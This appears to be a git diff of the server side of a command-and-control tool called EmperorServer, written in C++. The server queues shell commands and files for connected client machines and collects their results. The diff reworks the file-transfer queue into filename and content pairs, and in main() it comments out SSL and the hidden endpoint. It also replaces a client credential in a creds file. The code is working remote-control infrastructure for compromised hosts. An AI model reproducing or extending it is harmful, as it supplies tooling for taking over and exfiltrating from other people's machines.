diff --git a/EmperorServer.cpp b/EmperorServer.cpp index 27d79af..46ab510 100755 --- a/EmperorServer.cpp +++ b/EmperorServer.cpp @@ -93,15 +93,30 @@ std::map createUserComms(std::vector> createUserFiles(std::vector> sCreds) // creates a dictionary containing the username of the registered client + // as the key and an empty string pair for later use +{ + std::map> mComms; // define mComms, a map containing string as the key and value + + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in the list of credentials + { + mComms[sCreds[0][iUsernameIndex]].first = ""; // set the value of the username to an empty string + mComms[sCreds[0][iUsernameIndex]].second = ""; // set the value of the username to an empty string + } + return mComms; // return the map +} + std::map mCommands = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of strings to // mCommands std::map mResults = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to // mResults -std::map mInFiles = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mInFiles +std::map> mInFiles = + createUserFiles(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles -std::map mOutFiles = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles +std::map> mOutFiles = + createUserFiles(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles std::map mConnections = createUserConnections(sCreds); // call the defaultUserConnections function with the 2d vector sCreds as an argument, saving the returned map of // string and bool to mConnections @@ -151,12 +166,12 @@ class command_and_control : public httpserver::http_resource // class for comma { if (req.get_arg("msg") == "ready") // if the client is initiating a connection { - std::ostringstream oss; // declare ostringstream oss for response creation - oss << "user=" << req.get_user() << "&msg=acknowledged"; // add specific response for client to confirm connection has been established - std::string sResponse = oss.str(); // convert oss to string - bIncomingHey = true; // set the bIncomingHey flag to true - sIncomingHeyUser = req.get_user(); // set the sIncomingHeyUser string to the value of the username used by the client - mConnections[req.get_user()] = true; // set the connection value of the user in question to true + std::ostringstream oss; // declare ostringstream oss for response creation + oss << "msg=acknowledged"; // add specific response for client to confirm connection has been established + std::string sResponse = oss.str(); // convert oss to string + bIncomingHey = true; // set the bIncomingHey flag to true + sIncomingHeyUser = req.get_user(); // set the sIncomingHeyUser string to the value of the username used by the client + mConnections[req.get_user()] = true; // set the connection value of the user in question to true return std::shared_ptr(new httpserver::string_response(sResponse)); // return the generated response to the client } else if (req.get_arg("msg") == "reqcmd") // if the client is requesting a command from the server @@ -168,10 +183,10 @@ class command_and_control : public httpserver::http_resource // class for comma return std::shared_ptr(new httpserver::string_response(oss.str())); // return the generated response to the client } - else if (mOutFiles[req.get_user()] != "") // if there is a file waiting to be downloaded from the server + else if (mOutFiles[req.get_user()].first != "") // if there is a file waiting to be downloaded from the server { - std::ostringstream oss; // declare ostringstream for response creation - oss << "out=" << mOutFiles[req.get_user()]; // add filename and file content to the oss + std::ostringstream oss; // declare ostringstream for response creation + oss << "filename=" << mOutFiles[req.get_user()].first << "&content=" << mOutFiles[req.get_user()].second; // add filename and file content to the oss return std::shared_ptr(new httpserver::string_response(oss.str())); // return the generated response to the client } @@ -184,27 +199,28 @@ class command_and_control : public httpserver::http_resource // class for comma else if (req.get_arg("msg") == "saved") { std::cout << "Client " << req.get_user() << " successfully saved the file." << std::endl; - mOutFiles[req.get_user()] = ""; + mOutFiles[req.get_user()].first = ""; + mOutFiles[req.get_user()].second = ""; } else if (req.get_arg("msg") == "error") { std::cout << "Client " << req.get_user() << " encountered an error whilst saving the file." << std::endl; - mOutFiles[req.get_user()] = ""; + mOutFiles[req.get_user()].first = ""; + mOutFiles[req.get_user()].second = ""; } else if (req.get_arg("result") != "") // if the client has submitted a result from a command { - mCommands[req.get_user()] = ""; // the value for the client in the mCommands map should be set to empty - mResults[req.get_user()] = req.get_arg("result"); // the value for the cleit in the mResults map should be set to the returned result + mCommands[req.get_user()] = ""; // the value for the client in the mCommands map wil be set to empty + mResults[req.get_user()] = req.get_arg("result"); // the value for the client in the mResults map will be set to the returned result std::ostringstream oss; // declare osstringstream oss for response creation - oss << "user=" << req.get_user() << "&msg=acknowledged"; // add specific response for client to confirm that the result from the command was recieved - std::string sResponse = oss.str(); // convert oss to string - return std::shared_ptr(new httpserver::string_response(sResponse)); // return the generated response to the client + oss << "msg=acknowledged"; // add specific response for client to confirm that the result from the command was recieved + return std::shared_ptr(new httpserver::string_response(oss.str())); // return the generated response to the client } } } - return std::shared_ptr(new httpserver::string_response("Not found")); // otherwise return not found + return std::shared_ptr(new httpserver::string_response(req.get_content())); // otherwise return not found } }; @@ -237,7 +253,8 @@ bool uploadFile(std::string sFilename, std::string sUsername) if (sContent != "") // if the file was successfully read { - mOutFiles[sUsername] = sContent; // then set the value of the username key in the mOutFiles map to the parsed content of the file + mOutFiles[sUsername].first = sFilename; // then set the value of the username key in the mOutFiles map to the parsed content of the file + mOutFiles[sUsername].second = sContent; // then set the value of the second value for username key in the mOutFiles map to the parsed content of the file return true; } else // otherwise @@ -301,7 +318,7 @@ void interactConnection(std::string sIdentifier) // begin issuing commands to t if (bResult) // if the uploadFile function returned true { std::cout << "Command sent, awaiting response..." << std::endl; // tell the user that the command has been added to the queue and is awaiting a response - while (!mOutFiles[sIdentifier].empty()) // whilst the file has not been removed from the mOutFiles array + while (mOutFiles[sIdentifier].first != "") // whilst the file has not been removed from the mOutFiles array { continue; // do nothing and block further execution } @@ -411,13 +428,15 @@ void prompt() int main(int argc, char **argv) { - command_and_control c2; // instanciate the command and control class - httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt"); // create the webserver, ensuring ssl is enabled and - // the server is using the provided crt and key - ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); // register the c2 resource at a randomly generated URL - ws.start(false); // start the webserver in non-blocking mode - std::thread tCheck(checkConnections); // run checkConnections in a new thread - prompt(); // run the interactive prompt - tCheck.join(); // after the prompt has exited, wait for the checkConnections thread to end + command_and_control c2; // instanciate the command and control class + httpserver::webserver ws = httpserver::create_webserver(8665); //.use_ssl().https_mem_key("server.key").https_mem_cert("server.crt"); // create the webserver, ensuring ssl is enabled and + // the server is using the provided crt and key + ws.register_resource("/", &c2); // register the c2 resource at a randomly generated URL + // ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); // register the c2 resource at a randomly generated + // URL + ws.start(false); // start the webserver in non-blocking mode + std::thread tCheck(checkConnections); // run checkConnections in a new thread + prompt(); // run the interactive prompt + tCheck.join(); // after the prompt has exited, wait for the checkConnections thread to end return 0; } diff --git a/bin/EmperorServer b/bin/EmperorServer index 5cecb57..e1a8dbd 100755 Binary files a/bin/EmperorServer and b/bin/EmperorServer differ diff --git a/bin/creds b/bin/creds index 6bde8c8..047c873 100755 --- a/bin/creds +++ b/bin/creds @@ -1 +1,2 @@ -Victor-013332:yrPq4!ZUa[&C53.?$NWxzvK!CJF^',Q +test:svw7Dh9qamPgNOkEwgNLK4aab +